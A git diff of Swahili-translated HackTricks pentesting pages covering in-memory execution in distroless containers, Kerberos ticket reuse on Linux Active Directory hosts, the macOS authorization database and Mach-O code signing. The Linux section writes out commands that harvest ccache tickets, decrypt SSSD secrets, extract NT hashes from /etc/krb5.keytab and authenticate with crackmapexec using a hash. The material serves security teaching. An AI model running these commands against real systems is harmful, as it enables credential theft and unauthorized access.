Hivyo, **kuweza kudhibiti msimbo wa mkusanyiko** unaotekelezwa na mchakato, unaweza kuandika **shellcode** na "kubadilisha" mchakato ili **kutekeleza msimbo wowote wa kawaida**.
{% hint style="success" %}
**DDexec / EverythingExec** itakuruhusu kupakia na **kutekeleza** shellcode yako mwenyewe au **binary yoyote** kutoka **kumbukumbu**.
@ -94,7 +94,7 @@ Kwa maelezo zaidi kuhusu mbinu hii angalia Github au:
### MemExec
[**Memexec**](https://github.com/arget13/memexec) ni hatua ya asili inayofuata ya DDexec. Ni **DDexec shellcode demonised**, hivyo kila wakati unapotaka **kufanya kazi na binary tofauti** huwezi kuanzisha tena DDexec, unaweza tu kuendesha memexec shellcode kupitia mbinu ya DDexec na kisha **kuwasiliana na demon hii ili kupitisha binaries mpya za kupakia na kuendesha**.
[**Memexec**](https://github.com/arget13/memexec) ni hatua ya asili inayofuata ya DDexec. Ni **DDexec shellcode demonised**, hivyo kila wakati unapotaka **kuendesha binary tofauti** huwezi kuanzisha tena DDexec, unaweza tu kuendesha memexec shellcode kupitia mbinu ya DDexec na kisha **kuwasiliana na demon hii ili kupitisha binaries mpya za kupakia na kuendesha**.
Unaweza kupata mfano wa jinsi ya kutumia **memexec kutekeleza binaries kutoka kwa PHP reverse shell** katika [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
@ -106,16 +106,16 @@ Kwa kusudi linalofanana na DDexec, mbinu ya [**memdlopen**](https://github.com/a
### Nini distroless
Mizigo ya distroless ina sehemu tu za **misingi inayohitajika ili kuendesha programu au huduma maalum**, kama vile maktaba na utegemezi wa wakati wa kuendesha, lakini inatenga sehemu kubwa kama vile meneja wa pakiti, shell, au zana za mfumo.
Mizigo ya distroless ina sehemu tu za **muhimu kabisa zinazohitajika kuendesha programu au huduma maalum**, kama vile maktaba na utegemezi wa wakati wa kuendesha, lakini inatenga sehemu kubwa kama vile meneja wa pakiti, shell, au zana za mfumo.
Lengo la mizigo ya distroless ni **kupunguza uso wa shambulio wa mizigo kwa kuondoa sehemu zisizohitajika** na kupunguza idadi ya udhaifu ambao unaweza kutumiwa.
### Reverse Shell
Katika mizigo ya distroless huenda **usipate hata `sh` au `bash`** kupata shell ya kawaida. Hutaweza pia kupata binaries kama `ls`, `whoami`, `id`... kila kitu ambacho kawaida unakifanya katika mfumo.
Katika mizigo ya distroless huenda **usipate hata `sh` au `bash`** kupata shell ya kawaida. Hutaweza pia kupata binaries kama `ls`, `whoami`, `id`... kila kitu ambacho kawaida unakimbia kwenye mfumo.
{% hint style="warning" %}
Hivyo, huwezi kupata **reverse shell** au **kuhesabu** mfumo kama kawaida unavyofanya.
Hivyo, **hutaweza** kupata **reverse shell** au **kuhesabu** mfumo kama kawaida unavyofanya.
{% endhint %}
Hata hivyo, ikiwa kontena lililovunjwa linaendesha kwa mfano flask web, basi python imewekwa, na hivyo unaweza kupata **Python reverse shell**. Ikiwa linaendesha node, unaweza kupata Node rev shell, na vivyo hivyo na lugha nyingi za **scripting**.
@ -130,9 +130,9 @@ Ikiwa hakuna **`read-only/no-exec`** ulinzi unaweza kutumia reverse shell yako *
Hata hivyo, katika aina hii ya mizigo ulinzi huu kwa kawaida utawepo, lakini unaweza kutumia **mbinu za awali za utekelezaji wa kumbukumbu kuzipita**.
{% endhint %}
Unaweza kupata **esemples** za jinsi ya **kutumia baadhi ya udhaifu wa RCE** kupata lugha za scripting **reverse shells** na kuendesha binaries kutoka kwenye kumbukumbu katika [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
Unaweza kupata **mfano** wa jinsi ya **kutumia udhaifu wa RCE** kupata lugha za scripting **reverse shells** na kuendesha binaries kutoka kwenye kumbukumbu katika [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unavutiwa na **kazi ya hacking** na kuhack yasiyoweza kuhackwa - **tunatafuta wafanyakazi!** (_kuandika na kuzungumza kwa kiswahili vizuri kunahitajika_).
@ -148,7 +148,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# Linux Active Directory
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,8 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Mashine ya linux inaweza pia kuwepo ndani ya mazingira ya Active Directory.
@ -25,11 +23,11 @@ Mashine ya linux katika AD inaweza kuwa **ikiweka tiketi tofauti za CCACHE ndani
## Enumeration
### AD enumeration kutoka linux
### AD enumeration from linux
Ikiwa una ufikiaji juu ya AD katika linux (au bash katika Windows) unaweza kujaribu [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) ili kuorodhesha AD.
Ikiwa una ufikiaji wa AD katika linux (au bash katika Windows) unaweza kujaribu [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) ili kuhesabu AD.
Unaweza pia kuangalia ukurasa ufuatao kujifunza **njia nyingine za kuorodhesha AD kutoka linux**:
Unaweza pia kuangalia ukurasa ufuatao kujifunza **njia nyingine za kuhesabu AD kutoka linux**:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -37,13 +35,13 @@ Unaweza pia kuangalia ukurasa ufuatao kujifunza **njia nyingine za kuorodhesha A
### FreeIPA
FreeIPA ni **mbadala** wa chanzo wazi kwa Microsoft Windows **Active Directory**, hasa kwa mazingira ya **Unix**. Inachanganya **LDAP directory** kamili na Kituo cha Usambazaji wa Funguo za MIT **Kerberos** kwa usimamizi unaofanana na Active Directory. Inatumia Mfumo wa **Cheti** wa Dogtag kwa usimamizi wa cheti za CA & RA, inasaidia **uthibitishaji wa hatua nyingi**, ikiwa ni pamoja na kadi za smart. SSSD imeunganishwa kwa michakato ya uthibitishaji wa Unix. Jifunze zaidi kuhusu hiyo katika:
FreeIPA ni **mbadala** wa chanzo wazi kwa Microsoft Windows **Active Directory**, hasa kwa mazingira ya **Unix**. Inachanganya **LDAP directory** kamili na Kituo cha Usambazaji wa Funguo za MIT **Kerberos** kwa usimamizi unaofanana na Active Directory. Inatumia Mfumo wa Vyeti wa Dogtag kwa usimamizi wa vyeti vya CA & RA, inasaidia **uthibitishaji wa hatua nyingi**, ikiwa ni pamoja na kadi za smart. SSSD imeunganishwa kwa michakato ya uthibitishaji wa Unix. Jifunze zaidi kuhusu hiyo katika:
{% content-ref url="../freeipa-pentesting.md" %}
[freeipa-pentesting.md](../freeipa-pentesting.md)
{% endcontent-ref %}
## Kucheza na tiketi
## Playing with tickets
### Pass The Ticket
@ -53,11 +51,11 @@ Katika ukurasa huu utapata maeneo tofauti ambapo unaweza **kupata tiketi za kerb
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
{% endcontent-ref %}
### Urejeleaji wa tiketi za CCACHE kutoka /tmp
### CCACHE ticket reuse from /tmp
Faili za CCACHE ni muundo wa binary kwa **kuhifadhi akidi za Kerberos** ambazo kawaida huhifadhiwa na ruhusa 600 katika `/tmp`. Faili hizi zinaweza kutambulika kwa **muundo wa jina lao, `krb5cc_%{uid}`,** inayohusiana na UID ya mtumiaji. Kwa uthibitishaji wa tiketi, **kigezo cha mazingira `KRB5CCNAME`** kinapaswa kuwekwa kwenye njia ya faili ya tiketi inayotakiwa, kuruhusu urejeleaji wake.
Faili za CCACHE ni muundo wa binary kwa **kuhifadhi akidi za Kerberos** ambazo kawaida huhifadhiwa na ruhusa 600 katika `/tmp`. Faili hizi zinaweza kutambulika kwa **muundo wa jina lao, `krb5cc_%{uid}`,** inayohusiana na UID ya mtumiaji. Kwa uthibitishaji wa tiketi, **kigezo cha mazingira `KRB5CCNAME`** kinapaswa kuwekwa kwenye njia ya faili ya tiketi inayotakiwa, kuruhusu matumizi yake tena.
Orodhesha tiketi ya sasa inayotumika kwa uthibitishaji kwa `env | grep KRB5CCNAME`. Muundo ni wa kubebeka na tiketi inaweza **kurudiwa kwa kuweka kigezo cha mazingira** kwa `export KRB5CCNAME=/tmp/ticket.ccache`. Muundo wa jina la tiketi ya Kerberos ni `krb5cc_%{uid}` ambapo uid ni UID ya mtumiaji.
Orodhesha tiketi ya sasa inayotumika kwa uthibitishaji kwa `env | grep KRB5CCNAME`. Muundo ni wa kubebeka na tiketi inaweza **kutumika tena kwa kuweka kigezo cha mazingira** kwa `export KRB5CCNAME=/tmp/ticket.ccache`. Muundo wa jina la tiketi ya Kerberos ni `krb5cc_%{uid}` ambapo uid ni UID ya mtumiaji.
```bash
# Find tickets
ls /tmp/ | grep krb5cc
@ -79,19 +77,18 @@ make CONF=Release
```
Hii taratibu itajaribu kuingiza katika vikao mbalimbali, ikionyesha mafanikio kwa kuhifadhi tiketi zilizopatikana katika `/tmp` kwa muundo wa majina `__krb_UID.ccache`.
### CCACHE tiketi matumizi tena kutoka SSSD KCM
SSSD inashikilia nakala ya hifadhidata katika njia `/var/lib/sss/secrets/secrets.ldb`. Funguo inayohusiana inahifadhiwa kama faili iliyofichwa katika njia `/var/lib/sss/secrets/.secrets.mkey`. Kwa kawaida, funguo hiyo inaweza kusomwa tu ikiwa una ruhusa za **root**.
SSSD inashikilia nakala ya hifadhidata katika njia `/var/lib/sss/secrets/secrets.ldb`. Funguo inayohusiana inahifadhiwa kama faili iliyofichwa katika njia `/var/lib/sss/secrets/.secrets.mkey`. Kwa default, funguo hiyo inaweza kusomwa tu ikiwa una ruhusa za **root**.
Kuita \*\*`SSSDKCMExtractor` \*\* na vigezo --database na --key vitachambua hifadhidata na **kufichua siri**.
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
**kumbukumbu ya akiba ya sifa za Kerberos inaweza kubadilishwa kuwa faili ya Kerberos CCache** inayoweza kupitishwa kwa Mimikatz/Rubeus.
The **credential cache Kerberos blob inaweza kubadilishwa kuwa faili ya Kerberos CCache** inayoweza kupitishwa kwa Mimikatz/Rubeus.
### Urejeo wa tiketi ya CCACHE kutoka kwa keytab
### CCACHE tiketi ya matumizi tena kutoka keytab
```bash
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
@ -99,7 +96,7 @@ klist -k /etc/krb5.keytab
```
### Extract accounts from /etc/krb5.keytab
Funguo za akaunti za huduma, muhimu kwa huduma zinazofanya kazi na ruhusa za mzizi, zimehifadhiwa kwa usalama katika faili za **`/etc/krb5.keytab`**. Funguo hizi, kama nywila za huduma, zinahitaji faragha kali.
Hesabu za akaunti, muhimu kwa huduma zinazofanya kazi na ruhusa za mzizi, zimehifadhiwa kwa usalama katika faili za **`/etc/krb5.keytab`**. Funguo hizi, kama nywila za huduma, zinahitaji faragha kali.
Ili kukagua maudhui ya faili la keytab, **`klist`** inaweza kutumika. Chombo hiki kimeundwa kuonyesha maelezo ya funguo, ikiwa ni pamoja na **NT Hash** kwa uthibitishaji wa mtumiaji, hasa wakati aina ya funguo inatambulika kama 23.
```bash
@ -115,30 +112,29 @@ Katika macOS, **`bifrost`** hutumika kama chombo cha uchambuzi wa faili za keyta
```bash
./bifrost -action dump -source keytab -path /path/to/your/file
```
Kwa kutumia taarifa za akaunti na hash zilizovunwa, mawasiliano na seva zinaweza kuanzishwa kwa kutumia zana kama **`crackmapexec`**.
Kwa kutumia taarifa za akaunti na hash zilizopatikana, muunganisho na seva zinaweza kuanzishwa kwa kutumia zana kama **`crackmapexec`**.
```bash
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
```
## References
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki hila za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}

View file

@ -19,11 +19,11 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
## **Athorizarions DB**
Hifadhidata iliyoko katika `/var/db/auth.db` ni hifadhidata inayotumika kuhifadhi ruhusa za kufanya operesheni nyeti. Operesheni hizi zinafanywa kabisa katika **nafasi ya mtumiaji** na kwa kawaida hutumiwa na **huduma za XPC** ambazo zinahitaji kuangalia **kama mteja anayepiga simu ameidhinishwa** kufanya hatua fulani kwa kuangalia hifadhidata hii.
Hifadhidata iliyoko katika `/var/db/auth.db` ni hifadhidata inayotumika kuhifadhi ruhusa za kufanya operesheni nyeti. Operesheni hizi zinafanywa kabisa katika **nafasi ya mtumiaji** na kwa kawaida hutumiwa na **huduma za XPC** ambazo zinahitaji kuangalia **kama mteja anayepiga simu ameidhinishwa** kufanya kitendo fulani kwa kuangalia hifadhidata hii.
Kwanza, hifadhidata hii inaundwa kutoka kwa maudhui ya `/System/Library/Security/authorization.plist`. Kisha, huduma zingine zinaweza kuongeza au kubadilisha hifadhidata hii kuongeza ruhusa nyingine.
Kwanza, hifadhidata hii inaundwa kutoka kwa maudhui ya `/System/Library/Security/authorization.plist`. Kisha, huduma zingine zinaweza kuongeza au kubadilisha hifadhidata hii ili kuongeza ruhusa nyingine.
Sheria zinaifadhiwa katika jedwali la `rules` ndani ya hifadhidata na zina columns zifuatazo:
Sheria zinaifadhiwa katika jedwali la `rules` ndani ya hifadhidata na zina vitu vifuatavyo:
* **id**: Kitambulisho cha kipekee kwa kila sheria, kinachoongezeka kiotomatiki na kutumikia kama funguo kuu.
* **name**: Jina la kipekee la sheria linalotumika kutambua na kurejelea ndani ya mfumo wa idhini.
@ -31,16 +31,16 @@ Sheria zinaifadhiwa katika jedwali la `rules` ndani ya hifadhidata na zina colum
* **class**: Inagawanya sheria katika darasa maalum, kuhakikisha ni nambari chanya.
* "allow" kwa ruhusu, "deny" kwa kataa, "user" ikiwa mali ya kundi inaonyesha kundi ambalo uanachama wake unaruhusu ufikiaji, "rule" inaonyesha katika orodha sheria inayopaswa kutimizwa, "evaluate-mechanisms" ikifuatwa na orodha ya `mechanisms` ambazo ni ama za ndani au jina la kifurushi ndani ya `/System/Library/CoreServices/SecurityAgentPlugins/` au /Library/Security//SecurityAgentPlugins
* **group**: Inaonyesha kundi la mtumiaji linalohusishwa na sheria kwa ajili ya idhini ya msingi ya kundi.
* **kofn**: Inaonyesha parameter ya "k-of-n", ikiamua ni ngapi subrules zinapaswa kutimizwa kutoka kwa jumla.
* **timeout**: Inaeleza muda kwa sekunde kabla ya idhini iliyotolewa na sheria kuisha.
* **flags**: Ina vitu mbalimbali vinavyobadilisha tabia na sifa za sheria.
* **tries**: Inaweka mipaka ya idhini inayoruhusiwa ili kuongeza usalama.
* **kofn**: Inawakilisha parameter ya "k-of-n", ikiamua ni subrules ngapi zinapaswa kutimizwa kutoka kwa jumla.
* **timeout**: Inaeleza muda katika sekunde kabla ya idhini iliyotolewa na sheria kuisha.
* **flags**: Inashikilia bendera mbalimbali zinazobadilisha tabia na sifa za sheria.
* **tries**: Inapunguza idadi ya majaribio ya idhini yanayoruhusiwa ili kuongeza usalama.
* **version**: Inafuatilia toleo la sheria kwa ajili ya udhibiti wa toleo na masasisho.
* **created**: Inarekodi muda wa kuunda sheria kwa ajili ya madhumuni ya ukaguzi.
* **modified**: Inahifadhi muda wa mabadiliko ya mwisho yaliyofanywa kwa sheria.
* **hash**: Inashikilia thamani ya hash ya sheria ili kuhakikisha uaminifu wake na kugundua udanganyifu.
* **identifier**: Inatoa kitambulisho cha kipekee cha mfuatano, kama UUID, kwa marejeleo ya nje kwa sheria.
* **requirement**: Ina data iliyosimbwa inayofafanua mahitaji maalum ya idhini ya sheria na mitambo.
* **requirement**: Inashikilia data iliyosimbwa ikielezea mahitaji maalum ya idhini ya sheria na mitambo.
* **comment**: Inatoa maelezo yanayoweza kusomeka na binadamu au maoni kuhusu sheria kwa ajili ya nyaraka na uwazi.
### Example
@ -94,7 +94,7 @@ Zaidi ya hayo, kwa kutumia zana ya usalama inawezekana kujaribu APIs nyingi za `
Hiyo itafork na exec `/usr/libexec/security_authtrampoline /bin/ls` kama root, ambayo itauliza ruhusa katika dirisha la kuingia ili kutekeleza ls kama root:
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -17,12 +17,12 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
## Basic Information
Mach-o binaries zina maelezo ya kupakia yanayoitwa **`LC_CODE_SIGNATURE`** ambayo yanaonyesha **offset** na **size** ya saini ndani ya binary. Kwa kweli, kwa kutumia zana ya GUI MachOView, inawezekana kupata mwishoni mwa binary sehemu inayoitwa **Code Signature** yenye maelezo haya:
Mach-o binaries zina amri ya kupakia inayoitwa **`LC_CODE_SIGNATURE`** ambayo inaonyesha **offset** na **size** ya saini ndani ya binary. Kwa kweli, kwa kutumia zana ya GUI MachOView, inawezekana kupata mwishoni mwa binary sehemu inayoitwa **Code Signature** yenye taarifa hii:
<figure><img src="../../../.gitbook/assets/image (1).png" alt="" width="431"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
Kichwa cha kichawi cha Code Signature ni **`0xFADE0CC0`**. Kisha una maelezo kama vile urefu na idadi ya blobs ya superBlob inayoyashikilia.\
Inawezekana kupata maelezo haya katika [source code hapa](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
Kichwa cha kichawi cha Code Signature ni **`0xFADE0CC0`**. Kisha una taarifa kama vile urefu na idadi ya blobs ya superBlob inayozishikilia.\
Inawezekana kupata taarifa hii katika [source code hapa](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
```c
/*
* Structure of an embedded-signature SuperBlob
@ -52,9 +52,9 @@ char data[];
__attribute__ ((aligned(1)));
```
Common blobs contained are Code Directory, Requirements and Entitlements and a Cryptographic Message Syntax (CMS).\
Moreover, note how the data encoded in the blobs is encoded in **Big Endian.**
Zaidi ya hayo, kumbuka jinsi data iliyowekwa kwenye blobs imewekwa katika **Big Endian.**
Moreover, signatures zinaweza kutengwa kutoka kwa binaries na kuhifadhiwa katika `/var/db/DetachedSignatures` (inayotumiwa na iOS).
Zaidi ya hayo, saini zinaweza kutengwa kutoka kwa binaries na kuhifadhiwa katika `/var/db/DetachedSignatures` (inayotumiwa na iOS).
## Code Directory Blob
@ -157,17 +157,17 @@ openssl sha256 /tmp/*.page.*
```
## Entitlements Blob
Kumbuka kwamba programu zinaweza pia kuwa na **entitlement blob** ambapo haki zote zinafafanuliwa. Zaidi ya hayo, baadhi ya binaries za iOS zinaweza kuwa na haki zao maalum katika sloti maalum -7 (badala ya katika sloti maalum -5 za haki).
Kumbuka kwamba programu zinaweza pia kuwa na **entitlement blob** ambapo haki zote zimefafanuliwa. Zaidi ya hayo, baadhi ya binaries za iOS zinaweza kuwa na haki zao maalum katika sloti maalum -7 (badala ya katika sloti maalum -5 za haki).
## Special Slots
Programu za MacOS hazina kila kitu wanachohitaji kutekeleza ndani ya binary lakini pia zinatumia **rasilimali za nje** (kawaida ndani ya **bundle** za programu). Hivyo, kuna sloti ndani ya binary ambazo zitakuwa na hash za baadhi ya rasilimali za nje za kuvutia ili kuangalia hazikubadilishwa.
Kwa kweli, inawezekana kuona katika muundo wa Directory ya Code parameter inayoitwa **`nSpecialSlots`** ikionyesha idadi ya sloti maalum. Hakuna sloti maalum 0 na zile zinazotumika zaidi (kutoka -1 hadi -6 ni):
Kwa kweli, inawezekana kuona katika muundo wa Code Directory parameter inayoitwa **`nSpecialSlots`** ikionyesha idadi ya sloti maalum. Hakuna sloti maalum 0 na zile zinazotumika zaidi (kutoka -1 hadi -6 ni):
* Hash ya `info.plist` (au ile ndani ya `__TEXT.__info__plist`).
* Hash ya Mahitaji
* Hash ya Directory ya Rasilimali (hash ya faili ya `_CodeSignature/CodeResources` ndani ya bundle).
* Hash ya Resource Directory (hash ya faili ya `_CodeSignature/CodeResources` ndani ya bundle).
* Maalum kwa programu (isiyotumika)
* Hash ya haki
* Saini za msimbo wa DMG pekee
@ -226,7 +226,7 @@ Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-dis
Kila programu ina **mahitaji** ambayo lazima **iyatimize** ili iweze kutekelezwa. Ikiwa **programu ina mahitaji ambayo hayajatimizwa na programu**, haitatekelezwa (kama imebadilishwa).
Mahitaji ya binary hutumia **sarufi maalum** ambayo ni mtiririko wa **maelezo** na yanakodishwa kama blobs kwa kutumia `0xfade0c00` kama uchawi ambao **hash yake inahifadhiwa katika sloti maalum ya kanuni**.
Mahitaji ya binary hutumia **sarufi maalum** ambayo ni mtiririko wa **maelezo** na yanaandikwa kama blobs kwa kutumia `0xfade0c00` kama uchawi ambao **hash yake inahifadhiwa katika sloti maalum ya kanuni**.
Mahitaji ya binary yanaweza kuonekana kwa kukimbia:
@ -243,7 +243,7 @@ designated => identifier "org.whispersystems.signal-desktop" and anchor apple ge
{% endcode %}
{% hint style="info" %}
Kumbuka jinsi saini hizi zinaweza kuangalia mambo kama taarifa za uthibitisho, TeamID, IDs, ruhusa na data nyingine nyingi.
Kumbuka jinsi saini hizi zinaweza kuangalia mambo kama taarifa za uthibitisho, TeamID, IDs, haki na data nyingine nyingi.
{% endhint %}
Zaidi ya hayo, inawezekana kuzalisha baadhi ya mahitaji yaliyokusanywa kwa kutumia zana ya `csreq`:
@ -275,40 +275,40 @@ Inawezekana kufikia habari hii na kuunda au kubadilisha mahitaji na baadhi ya AP
* **`SecRequirementCreateWithData`:** Inaunda `SecRequirementRef` kutoka kwa data ya binary inayowakilisha mahitaji.
* **`SecRequirementCreateWithString`:** Inaunda `SecRequirementRef` kutoka kwa usemi wa string wa mahitaji.
* **`SecRequirementCopy[Data/String]`**: Inapata uwakilishi wa data ya binary wa `SecRequirementRef`.
* **`SecRequirementCreateGroup`**: Unda mahitaji ya ushirika wa programu.
* **`SecRequirementCreateGroup`**: Unda mahitaji ya ushirika wa kikundi cha programu.
#### **Kufikia Habari za Kusaini Msimbo**
* **`SecStaticCodeCreateWithPath`**: Inaanzisha kipande cha `SecStaticCodeRef` kutoka kwa njia ya mfumo wa faili kwa ajili ya kukagua saini za msimbo.
* **`SecStaticCodeCreateWithPath`**: Inaanzisha kitu cha `SecStaticCodeRef` kutoka kwa njia ya mfumo wa faili kwa ajili ya kukagua saini za msimbo.
* **`SecCodeCopySigningInformation`**: Inapata habari za kusaini kutoka kwa `SecCodeRef` au `SecStaticCodeRef`.
#### **Kubadilisha Mahitaji ya Msimbo**
* **`SecCodeSignerCreate`**: Inaunda kipande cha `SecCodeSignerRef` kwa ajili ya kufanya operesheni za kusaini msimbo.
* **`SecCodeSignerSetRequirement`**: Inaweka mahitaji mapya kwa ajili ya msajili wa msimbo kutekeleza wakati wa kusaini.
* **`SecCodeSignerCreate`**: Inaunda kitu cha `SecCodeSignerRef` kwa ajili ya kufanya operesheni za kusaini msimbo.
* **`SecCodeSignerSetRequirement`**: Inaweka mahitaji mapya kwa ajili ya msajili wa msimbo kutumia wakati wa kusaini.
* **`SecCodeSignerAddSignature`**: Inaongeza saini kwa msimbo unaosainiwa na msajili aliyeainishwa.
#### **Kuthibitisha Msimbo kwa Mahitaji**
#### **Kuthibitisha Msimbo na Mahitaji**
* **`SecStaticCodeCheckValidity`**: Inathibitisha kipande cha msimbo wa static dhidi ya mahitaji yaliyoainishwa.
* **`SecStaticCodeCheckValidity`**: Inathibitisha kitu cha msimbo wa static dhidi ya mahitaji yaliyoainishwa.
#### **APIs za Ziada za Faida**
* **`SecCodeCopy[Internal/Designated]Requirement`: Pata SecRequirementRef kutoka SecCodeRef**
* **`SecCodeCopyGuestWithAttributes`**: Inaunda `SecCodeRef` inayowakilisha kipande cha msimbo kulingana na sifa maalum, muhimu kwa sandboxing.
* **`SecCodeCopyPath`**: Inapata njia ya mfumo wa faili inayohusiana na `SecCodeRef`.
* **`SecCodeCopySigningIdentifier`**: Inapata kitambulisho cha kusaini (mfano, Timu ID) kutoka kwa `SecCodeRef`.
* **`SecCodeGetTypeID`**: Inarudisha kitambulisho cha aina kwa ajili ya vitu vya `SecCodeRef`.
* **`SecCodeCopyGuestWithAttributes`**: Inaunda `SecCodeRef` inayowakilisha kitu cha msimbo kulingana na sifa maalum, muhimu kwa sandboxing.
* **`SecCodeCopyPath`**: Inapata njia ya mfumo wa faili inayohusishwa na `SecCodeRef`.
